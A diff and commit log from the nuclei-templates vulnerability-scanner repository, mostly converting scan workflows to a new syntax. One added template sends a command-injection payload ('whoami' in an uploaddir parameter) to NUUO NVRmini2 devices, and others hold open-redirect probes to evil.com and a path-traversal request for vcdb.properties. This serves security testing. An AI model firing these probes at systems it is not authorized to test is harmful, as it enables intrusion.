+        words:
+          - access_key
+          - terraform
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: nuuo-nvrmini2-upgradehandlephp-rce
+
+info:
+  name: NUUO NVRmini2 3.0.8 - Remote Code Execution
+  author: berkdusunur
+  severity: critical
+
+  # Reference:-
+  # https://www.exploit-db.com/exploits/45070
+  # https://github.com/berkdsnr/NUUO-NVRMINI-RCE
+  # https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "/upload_tmp_dir/"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -18,7 +18,7 @@ requests:
    attack: sniper
    raw:
      - |
-        GET /eam/vib?id=path\vcdb.properties HTTP/1.1
+        GET /eam/vib?id=§path§\vcdb.properties HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Accept: */*
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Referer: http://{{Hostname}}/login.php
        Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
@@ -16,7 +16,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Origin: http://{{Hostname}}
        Connection: close
@@ -1,18 +1,16 @@
 id: artica-web-proxy-workflow

 info:
-  name: Artica Web Proxy Workflows
+  name: Artica Web Proxy Security Checks
  author: dwisiswant0 & pdteam
+  description: A simple workflow that runs all Artica Web Proxy related nuclei templates on a given target.

-variables:
-  artica_tech: technologies/artica-web-proxy-detect.yaml
-  artica_auth_bypass: cves/CVE-2020-17506.yaml
-  artica_os_command_inject: cves/CVE-2020-17505.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if artica_tech() {
-    if artica_auth_bypass() {
-      artica_os_command_inject()
-    }
-  }
+workflows:
+
+  - template: technologies/artica-web-proxy-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-17505.yaml
@@ -0,0 +1,16 @@
+id: basic-auth-workflow
+
+info:
+  name: Basic auth Security Checks
+  author: w4cky_
+  description: A simple workflow that runs all Basic auth related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/basic-auth-detection.yaml
+
+    subtemplates:
+      - template: fuzzing/basic-auth-bruteforce.yaml
@@ -1,15 +0,0 @@
-id: bigip-pwner-workflow
-
-info:
-  name: F5 BIG-IP RCE Workflow
-  author: dwisiswant0
-
-variables:
-  bigip_config_utility: technologies/bigip-config-utility-detect.yaml
-  bigip_cve_2020_5902: cves/CVE-2020-5902.yaml
-
-logic:
-  |
-  if bigip_config_utility() {
-    bigip_cve_2020_5902()
-  }
@@ -0,0 +1,16 @@
+id: bigip-workflow
+
+info:
+  name: F5 BIG-IP Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all Bigip related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/bigip-config-utility-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-5902.yaml
@@ -1,19 +1,18 @@
 id: cisco-asa-workflow

 info:
-  name: Cisco ASA Pwner
+  name: Cisco ASA Security Checks
  author: flag007
+  description: A simple workflow that runs all Cisco related nuclei templates on a given target.

-variables:
-  ciscoasa: panels/cisco-asa-panel.yaml
-  ciscoasa_cve_2020_3187: cves/CVE-2020-3187.yaml
-  ciscoasa_cve_2020_3452: cves/CVE-2020-3452.yaml
-  ciscoasa_cve_2018_0296: cves/CVE-2018-0296.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if ciscoasa() {
-    ciscoasa_cve_2020_3187()
-    ciscoasa_cve_2020_3452()
-    ciscoasa_cve_2018_0296()
-  }
+workflows:
+
+  - template: panels/cisco-asa-panel.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-3187.yaml
+      - template: cves/CVE-2020-3452.yaml
+      - template: cves/CVE-2018-0296.yaml
@@ -1,15 +1,16 @@
 id: grafana-workflow

 info:
-  name: Grafana Workflow
+  name: Grafana Security Checks
  author: pdteam
+  description: A simple workflow that runs all Grafana related nuclei templates on a given target.

-variables:
-  grafana_login: panels/grafana-detect.yaml
-  grafana_cred_check: default-credentials/grafana-default-credential.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if grafana_login() {
-    grafana_cred_check()
-  }
+workflows:
+
+  - template: panels/grafana-detect.yaml
+
+    subtemplates:
+      - template: default-credentials/grafana-default-credential.yaml
@@ -1,39 +0,0 @@
-id: jira-exploitaiton-workflow
-
-info:
-        name: Jira Exploitaiton workflow
-        author: micha3lb3n
-
-variables:
-        jira_detect: technologies/jira-detect.yaml
-        jira_signup: security-misconfiguration/jira-service-desk-signup.yaml
-        jira_projects: security-misconfiguration/jira-unauthenticated-projects.yaml
-        jira_dashboard: security-misconfiguration/jira-unauthenticated-dashboards.yaml
-        jira_filters: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
-        jira_user_picker: security-misconfiguration/jira-unauthenticated-user-picker.yaml
-        jira_cve_1: cves/CVE-2019-8449.yaml
-        jira_cve_2: cves/CVE-2019-8451.yaml
-        jira_cve_3: cves/CVE-2017-9506.yaml
-        jira_cve_4: cves/CVE-2018-20824.yaml
-        jira_cve_5: cves/CVE-2019-3396.yaml
-        jira_cve_6: cves/CVE-2020-14179.yaml
-        jira_cve_7: cves/CVE-2020-14181.yaml
-        jira_cve_8: cves/CVE-2019-8442.yaml
-
-logic:
-        |
-        if jira_detect(){
-                jira_signup()
-                jira_projects()
-                jira_dashboard()
-                jira_filters()
-                jira_user_picker()
-                jira_cve_1()
-                jira_cve_2()
-                jira_cve_3()
-                jira_cve_4()
-                jira_cve_5()
-                jira_cve_6()
-                jira_cve_7()
-                jira_cve_8()
-        }
@@ -0,0 +1,29 @@
+id: jira-workflow
+
+info:
+  name: Jira Security Checks
+  author: micha3lb3n
+  description: A simple workflow that runs all Jira related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/jira-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2017-9506.yaml
+      - template: cves/CVE-2018-20824.yaml
+      - template: cves/CVE-2019-3396.yaml
+      - template: cves/CVE-2019-3402.yaml
+      - template: cves/CVE-2019-8442.yaml
+      - template: cves/CVE-2019-8449.yaml
+      - template: cves/CVE-2019-8451.yaml
+      - template: cves/CVE-2020-14179.yaml
+      - template: cves/CVE-2020-14181.yaml
+      - template: security-misconfiguration/jira-service-desk-signup.yaml
+      - template: security-misconfiguration/jira-unauthenticated-dashboards.yaml
+      - template: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
+      - template: security-misconfiguration/jira-unauthenticated-projects.yaml
+      - template: security-misconfiguration/jira-unauthenticated-user-picker.yaml
@@ -1,15 +0,0 @@
-id: liferay-rce-workflow
-
-info:
-  name: Liferay RCE Workflow
-  author: dwisiswant0
-
-variables:
-  liferay_portal: technologies/liferay-portal-detect.yaml
-  liferay_portal_cve: cves/CVE-2020-7961.yaml
-
-logic:
-  |
-  if liferay_portal() {
-    liferay_portal_cve()
-  }
@@ -0,0 +1,15 @@
+id: liferay-workflow
+
+info:
+  name: Liferay Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all liferay related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/liferay-portal-detect.yaml
+    subtemplates:
+      - template: cves/CVE-2020-7961.yaml
@@ -1,19 +1,19 @@
 id: lotus-domino-workflow

 info:
-  name: Lotus Domino workflow
+  name: Lotus Domino Security Checks
  author: CasperGN
+  description: A simple workflow that runs all Lotus Domino related nuclei templates on a given target.

-variables:
-  domino: technologies/tech-detect.yaml
-  domino_version: technologies/lotus-domino-version.yaml
-  domino_cve_2005_2428: cves/CVE-2005-2428.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  domino()
+workflows:

-  if domino["lotus-domino"] {
-    domino_version()
-    domino_cve_2005_2428()
-  }
+  - template: technologies/tech-detect.yaml
+    matchers:
+      - name: lotus-domino
+        subtemplates:
+          - template: technologies/lotus-domino-version.yaml
+            subtemplates:
+              - template: cves/CVE-2005-2428.yaml
@@ -1,18 +1,18 @@
 id: magmi-workflow

 info:
-  name: "MAGMI Workflow"
-  author: "dwisiswant0"
+  name: MAGMI Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all MAGMI related nuclei templates on a given target.

-variables:
-  magmi_tech: technologies/magmi-detect.yaml
-  magmi_cve1: cves/CVE-2017-7391.yaml
-  magmi_cve2: cves/CVE-2020-5776.yaml
-  magmi_cve3: cves/CVE-2020-5777.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic: |
-  if magmi_tech() {
-    magmi_cve1()
-    magmi_cve2()
-    magmi_cve3()
-  }
+workflows:
+
+  - template: technologies/magmi-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2017-7391.yaml
+      - template: cves/CVE-2020-5776.yaml
+      - template: cves/CVE-2020-5777.yaml
@@ -1,18 +1,17 @@
 id: mida-eframework-workflow

 info:
-  name: Mida eFramework workflow
+  name: Mida eFramework Security Checks
  author: CasperGN
+  description: A simple workflow that runs all Mida eFramework related nuclei templates on a given target.

-variables:
-  mida: technologies/tech-detect.yaml
-  cve_2020_15920: cves/CVE-2020-15920.yaml
-  mida_xss: vulnerabilities/mida-eframework-xss.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic: |
-  mida()
+workflows:

-  if mida["mida-eframework"] {
-    cve_2020_15920()
-    mida_xss()
-  }
+  - template: technologies/tech-detect.yaml
+    matchers:
+      - name: mida-eframework
+        subtemplates:
+          - template: vulnerabilities/mida-eframework-xss.yaml
@@ -1,15 +0,0 @@
-id: netsweeper-preauth-rce-workflow
-
-info:
-  name: Netsweeper PreAuth RCE Workflow
-  author: dwisiswant0
-
-variables:
-  netsweeper_webadmin: technologies/netsweeper-webadmin-detect.yaml
-  netsweeper_webadmin_cve_1: cves/CVE-2020-13167.yaml
-
-logic:
-  |
-  if netsweeper_webadmin() {
-    netsweeper_webadmin_cve_1()
-  }
@@ -0,0 +1,16 @@
+id: netsweeper-workflow
+
+info:
+  name: Netsweeper Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all netsweeper related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: technologies/netsweeper-webadmin-detect.yaml
+
+    subtemplates:
+      - template: cves/CVE-2020-13167.yaml
@@ -1,15 +1,16 @@
 id: rabbitmq-workflow

 info:
-  name: RabbitMQ Workflow
+  name: RabbitMQ Security Checks
  author: fyoorer
+  description: A simple workflow that runs all rabbitmq related nuclei templates on a given target.

-variables:
-  rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
-  rabbitmq_default_admin: default-credentials/rabbitmq-default-admin.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if rabbitmq_dashboard() {
-    rabbitmq_default_admin()
-  }
+workflows:
+
+  - template: panels/rabbitmq-dashboard.yaml
+
+    subtemplates:
+      - template: default-credentials/rabbitmq-default-admin.yaml
@@ -1,15 +1,15 @@
 id: sap-netweaver-workflow

 info:
-  name: SAP NetWaver Workflow
+  name: SAP NetWaver Security Checks
  author: dwisiswant0
+  description: A simple workflow that runs all SAP NetWaver related nuclei templates on a given target.

-variables:
-  sap_netweaver_as_java: technologies/sap-netweaver-as-java-detect.yaml
-  sap_netweaver_as_java_cve_1: cves/CVE-2020-6287.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic:
-  |
-  if sap_netweaver_as_java() {
-    sap_netweaver_as_java_cve_1()
-  }
+workflows:
+
+  - template: technologies/sap-netweaver-as-java-detect.yaml
+    subtemplates:
+      - template: cves/CVE-2020-6287.yaml
@@ -1,23 +0,0 @@
-id: springboot-pwner-workflow
-
-info:
-  name: Spring Boot Pwner
-  author: dwisiswant0
-
-variables:
-  springboot: security-misconfiguration/springboot-detect.yaml
-  springboot_cve_2018_1271: cves/CVE-2018-1271.yaml
-  springboot_cve_2019_3799: cves/CVE-2019-3799.yaml
-  springboot_cve_2020_5410: cves/CVE-2020-5410.yaml
-  springboot_xxe: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
-  springboot_rce: vulnerabilities/springboot-h2-db-rce.yaml
-
-logic:
-  |
-  if springboot() {
-    springboot_cve_2018_1271()
-    springboot_cve_2019_3799()
-    springboot_cve_2020_5410()
-    springboot_xxe()
-    springboot_rce()
-  }
@@ -0,0 +1,19 @@
+id: springboot-workflow
+
+info:
+  name: Springboot Security Checks
+  author: dwisiswant0
+  description: A simple workflow that runs all springboot related nuclei templates on a given target.
+
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.
+
+workflows:
+
+  - template: security-misconfiguration/springboot-detect.yaml
+    subtemplates:
+      - template: cves/CVE-2018-1271.yaml
+      - template: cves/CVE-2018-1271.yaml
+      - template: cves/CVE-2020-5410.yaml
+      - template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
+      - template: vulnerabilities/springboot-h2-db-rce.yaml
@@ -1,25 +1,21 @@
 id: vbulletin-workflow

 info:
-  name: vBulletin workflow
+  name: vBulletin Security Checks
  author: pdteam
+  description: A simple workflow that runs all vBulletin related nuclei templates on a given target.

-variables:
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-  vbulletin_tech: technologies/tech-detect.yaml
-  vbulletin_cve_1: cves/CVE-2019-16759.yaml
-  vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
-  vbulletin_cve_3: cves/CVE-2020-12720.yaml
+workflows:

-  # This will run all 3 CVEs if vbulletin tech is found.
+  - template: technologies/tech-detect.yaml

-logic:
-  |
-  vbulletin_tech()
-
-  if vbulletin_tech["vbulletin"] {
-
-    vbulletin_cve_1()
-    vbulletin_cve_2()
-    vbulletin_cve_3()
-  }
+    matchers:
+      - name: vbulletin
+        subtemplates:
+          - template: cves/CVE-2019-16759.yaml
+          - template: cves/CVE-2019-16759-1.yaml
+          - template: cves/CVE-2019-6340.yaml
+          - template: cves/CVE-2020-12720.yaml
@@ -1,43 +1,31 @@
 id: wordpress-workflow
 info:
-  name: Wordpress workflow
-  author: Kiblyn11 & zomsop82
-variables:
+  name: Wordpress Security Checks
+  author: kiblyn11 & zomsop82
+  description: A simple workflow that runs all wordpress related nuclei templates on a given target.

-  wordpress_tech: technologies/tech-detect.yaml
-  wordpress_dir_listing: files/wordpress-directory-listing.yaml
-  wordpress_user_enum: files/wordpress-user-enumeration.yaml
-  wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
-  wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
-  wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
-  wordpress_debug_log: files/wordpress-debug-log.yaml
-  wordpress_db_backup: files/wordpress-db-backup.yaml
-  wordpress_emergency_script: files/wordpress-emergency-script.yaml
-  wordpress_installer_log: files/wordpress-installer-log.yaml
-  wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
-  wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
-  w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
-  wordpress_cve: cves/CVE-2019-9978.yaml
-  wordpress_cve_2: cves/CVE-2019-6715.yaml
+  # Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
+  # Old workflows still remains valid, and will be working with all nuclei versions.

-logic: |
-  wordpress_tech()
+workflows:

-  if wordpress_tech["wordpress"] {
-
-    wordpress_dir_listing()
-    wordpress_user_enum()
-    wordpress_wpconfig()
-    wordpress_duplicator_path_traversal()
-    wordpress_wordfence_xss()
-    wordpress_debug_log()
-    wordpress_db_backup()
-    wordpress_emergency_script()
-    wordpress_installer_log()
-    wordpress_tmm_db_migrate()
-    wordpress_social_metrics_tracker()
-    w3c_total_cache_ssrf()
-    wordpress_cve()
-    wordpress_cve_2()
-
-  }
+  - template: technologies/tech-detect.yaml
+    matchers:
+      - name: wordpress
+        subtemplates:
+          - template: cves/CVE-2019-6715.yaml
+          - template: cves/CVE-2019-9978.yaml
+          - template: files/wordpress-db-backup.yaml
+          - template: files/wordpress-debug-log.yaml
+          - template: files/wordpress-directory-listing.yaml
+          - template: files/wordpress-emergency-script.yaml
+          - template: files/wordpress-installer-log.yaml
+          - template: files/wordpress-tmm-db-migrate.yaml
+          - template: files/wordpress-user-enumeration.yaml
+          - template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
+          - template: vulnerabilities/sassy-social-share.yaml
+          - template: vulnerabilities/w3c-total-cache-ssrf.yaml
+          - template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
+          - template: vulnerabilities/wordpress-social-metrics-tracker.yaml
+          - template: vulnerabilities/wordpress-wordfence-xss.yaml
+          - template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
Author	SHA1	Message	Date
GitHub Action	01dbfcc23c	Auto Update README [Thu Nov 26 18:16:07 UTC 2020] 🤖	2020-11-26 18:16:07 +00:00
bauthard	c74fec3266	Merge pull request #643 from geeknik/patch-19 Create redmine-db-config.yaml	2020-11-26 23:45:43 +05:30
bauthard	14a5e7575a	dir updates!	2020-11-26 23:44:49 +05:30
bauthard	099ac2c188	Merge pull request #648 from geeknik/patch-20 Update top-15-xss.yaml	2020-11-26 23:33:13 +05:30
bauthard	ac20c65da4	Update top-15-xss.yaml	2020-11-26 23:29:40 +05:30
GitHub Action	707fe433a7	Auto Update README [Thu Nov 26 17:41:15 UTC 2020] 🤖	2020-11-26 17:41:15 +00:00
bauthard	19fe7c8129	updating ignore file	2020-11-26 23:03:43 +05:30
bauthard	1a97750c78	moving dirs	2020-11-26 23:02:38 +05:30
bauthard	ba5043bd06	Adding xml-schema-detect	2020-11-26 22:49:05 +05:30
Geeknik Labs	0ceb8d218a	Update top-15-xss.yaml Makes sense to number the payloads to easily show which parameter is vulnerable.	2020-11-26 16:10:09 +00:00
GitHub Action	38e6eb76ed	Auto Update README [Thu Nov 26 15:30:29 UTC 2020] 🤖	2020-11-26 15:30:29 +00:00
bauthard	0fae570c4c	Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates	2020-11-26 20:59:30 +05:30
bauthard	a1732cc1a3	Removing cve-2020-14815 This will be added back with support of https://github.com/projectdiscovery/nuclei/issues/295	2020-11-26 20:59:10 +05:30
GitHub Action	206862c816	Auto Update README [Thu Nov 26 15:01:42 UTC 2020] 🤖	2020-11-26 15:01:42 +00:00
bauthard	521deb3b4d	Merge pull request #644 from dwisiswant0/add/CVE-2019-12725 Add 'Zeroshell 3.9.0 Remote Command Execution' (CVE-2019-12725)	2020-11-26 20:31:11 +05:30
bauthard	3d7e839a99	Update CVE-2019-12725.yaml	2020-11-26 14:42:15 +05:30
Dwi Siswanto	f9301c5808	🔥 Add CVE-2019-12725	2020-11-26 11:24:02 +07:00
Geeknik Labs	92f97429ae	Create redmine-db-config.yaml More information available here: https://redmine.org/projects/redmine/wiki/RedmineInstall	2020-11-25 20:41:58 +00:00
GitHub Action	245d0208e4	Auto Update README [Wed Nov 25 20:34:14 UTC 2020] 🤖	2020-11-25 20:34:14 +00:00
bauthard	a9d306a2f4	Merge pull request #642 from geeknik/patch-18 Create redmine-cli-detect.yaml	2020-11-26 02:03:49 +05:30
bauthard	6c4fcfc602	Adding marker to payload	2020-11-26 02:02:20 +05:30
Geeknik Labs	178b142c01	Create redmine-cli-detect.yaml	2020-11-25 20:29:10 +00:00
bauthard	33db44139a	Merge pull request #640 from dwisiswant0/fix/cve-2013-2251 Fix false-positive for CVE-2013-2251	2020-11-25 22:11:25 +05:30
Dwi Siswanto	e39ffdf513	🔨 Fix false-positive for CVE-2013-2251	2020-11-25 07:26:52 +07:00
GitHub Action	d12c612a4c	Auto Update README [Tue Nov 24 20:46:52 UTC 2020] 🤖	2020-11-24 20:46:52 +00:00
bauthard	57ebaf5e88	Merge pull request #601 from PR3R00T/patch-1 Adding Unencrypted F5 Cookie disclosure	2020-11-25 02:16:26 +05:30
bauthard	6b7ffff6b5	adding reference	2020-11-25 02:15:18 +05:30
GitHub Action	386a08ecb8	Auto Update README [Tue Nov 24 20:18:05 UTC 2020] 🤖	2020-11-24 20:18:05 +00:00
bauthard	7df9c73ebf	Merge pull request #636 from geeknik/patch-18 Create terraform-detect.yaml	2020-11-25 01:47:40 +05:30
bauthard	1c912b753d	matcher fix n updates	2020-11-25 01:41:47 +05:30
GitHub Action	ea0572dc68	Auto Update README [Tue Nov 24 20:01:23 UTC 2020] 🤖	2020-11-24 20:01:23 +00:00
bauthard	c049bf3206	Merge pull request #638 from shelld3v/patch-2 🔥 Add CVE-2018-13380	2020-11-25 01:30:54 +05:30
bauthard	6f3b2cdd0c	adding more info and matchers	2020-11-25 01:30:01 +05:30
shelld3v	b81c8ea57d	🔥 Add CVE-2018-13380	2020-11-24 21:30:18 +07:00
Geeknik Labs	5f390de054	Update terraform-detect.yaml	2020-11-23 22:30:25 +00:00
Geeknik Labs	e041688b8d	Create terraform-detect.yaml More info on Terraform and their configuration files can be found here: https://www.freecodecamp.org/news/build-a-screenshot-capture-api-using-terraform-aws-api-gateway-and-aws-lambda/	2020-11-23 22:28:55 +00:00
bauthard	9d51cec01e	Reference update	2020-11-23 23:56:36 +05:30
bauthard	58df42148f	Merge pull request #634 from geeknik/patch-15 Update laravel-env.yaml	2020-11-22 10:58:51 +05:30
GitHub Action	7b572db55f	Auto Update README [Sun Nov 22 05:27:07 UTC 2020] 🤖	2020-11-22 05:27:07 +00:00
bauthard	0afec08897	Merge pull request #635 from dwisiswant0/renames Rename cve-* files to CVEs	2020-11-22 10:56:40 +05:30
Dwi Siswanto	05796b0692	🔥 Rename cve-* files to CVEs	2020-11-22 05:49:16 +07:00
Geeknik Labs	ebb15fcf69	Update laravel-env.yaml Add additional filenames commonly used here.	2020-11-21 20:15:29 +00:00
GitHub Action	788933d7de	Auto Update README [Sat Nov 21 18:18:25 UTC 2020] 🤖	2020-11-21 18:18:25 +00:00
bauthard	e41bc75b4e	template renaming	2020-11-21 23:46:56 +05:30
bauthard	50463a3498	Merge pull request #633 from projectdiscovery/simplifed-workflows Simplified workflows with nuclei v2.2.0	2020-11-21 23:29:20 +05:30
bauthard	8bd2a9455a	Simpleifed workflow syntax	2020-11-21 23:27:19 +05:30
GitHub Action	9c1ee73767	Auto Update README [Sat Nov 21 15:11:28 UTC 2020] 🤖	2020-11-21 15:11:28 +00:00
bauthard	cbf26d43f0	Merge pull request #632 from Mad-robot/patch-1 Create CVE-2019-6340.yaml	2020-11-21 20:41:02 +05:30
bauthard	971f016178	few updates	2020-11-21 20:39:12 +05:30
SaN ThosH	bf5e619803	Create CVE-2019-6340.yaml	2020-11-21 13:07:33 +05:30
bauthard	beb578cdf0	Marker updates to payloads Adding § marker to variable names to avoid any confusion with real data and variable name, supported from nuclei v2.2.0	2020-11-21 12:25:49 +05:30
bauthard	a003719adf	Merge pull request #625 from wdahlenburg/put-method-dsl Swapped put-method-enabled to DSL for multi-req	2020-11-20 18:50:58 +05:30
GitHub Action	8a9f50edf7	Auto Update README [Fri Nov 20 13:20:29 UTC 2020] 🤖	2020-11-20 13:20:29 +00:00
bauthard	3aca49622e	Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates	2020-11-20 18:49:54 +05:30
bauthard	cf991d51b0	Update iis-shortname.yaml	2020-11-20 18:49:39 +05:30
bauthard	5a6531e5fe	moving dirs	2020-11-20 18:49:16 +05:30
GitHub Action	ff1e9ae2ce	Auto Update README [Fri Nov 20 13:18:59 UTC 2020] 🤖	2020-11-20 13:18:59 +00:00
bauthard	30bf46b382	Merge pull request #591 from nodauf/patch-1 Add iis-shortname template	2020-11-20 18:48:34 +05:30
GitHub Action	32d8c51386	Auto Update README [Fri Nov 20 13:10:30 UTC 2020] 🤖	2020-11-20 13:10:30 +00:00
bauthard	20e3d72284	Merge pull request #627 from projectdiscovery/favicon Favicon recon	2020-11-20 18:40:01 +05:30
bauthard	f4c24d25ce	Merge pull request #629 from dwisiswant0/feature/auto-update-readme Triggering auto update on create tags	2020-11-20 00:08:55 +05:30
Dwi Siswanto	ba037c425b	♻️ Triggering auto update on create tags	2020-11-20 00:40:08 +07:00
bauthard	28f65c2e22	Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates	2020-11-19 19:45:45 +05:30
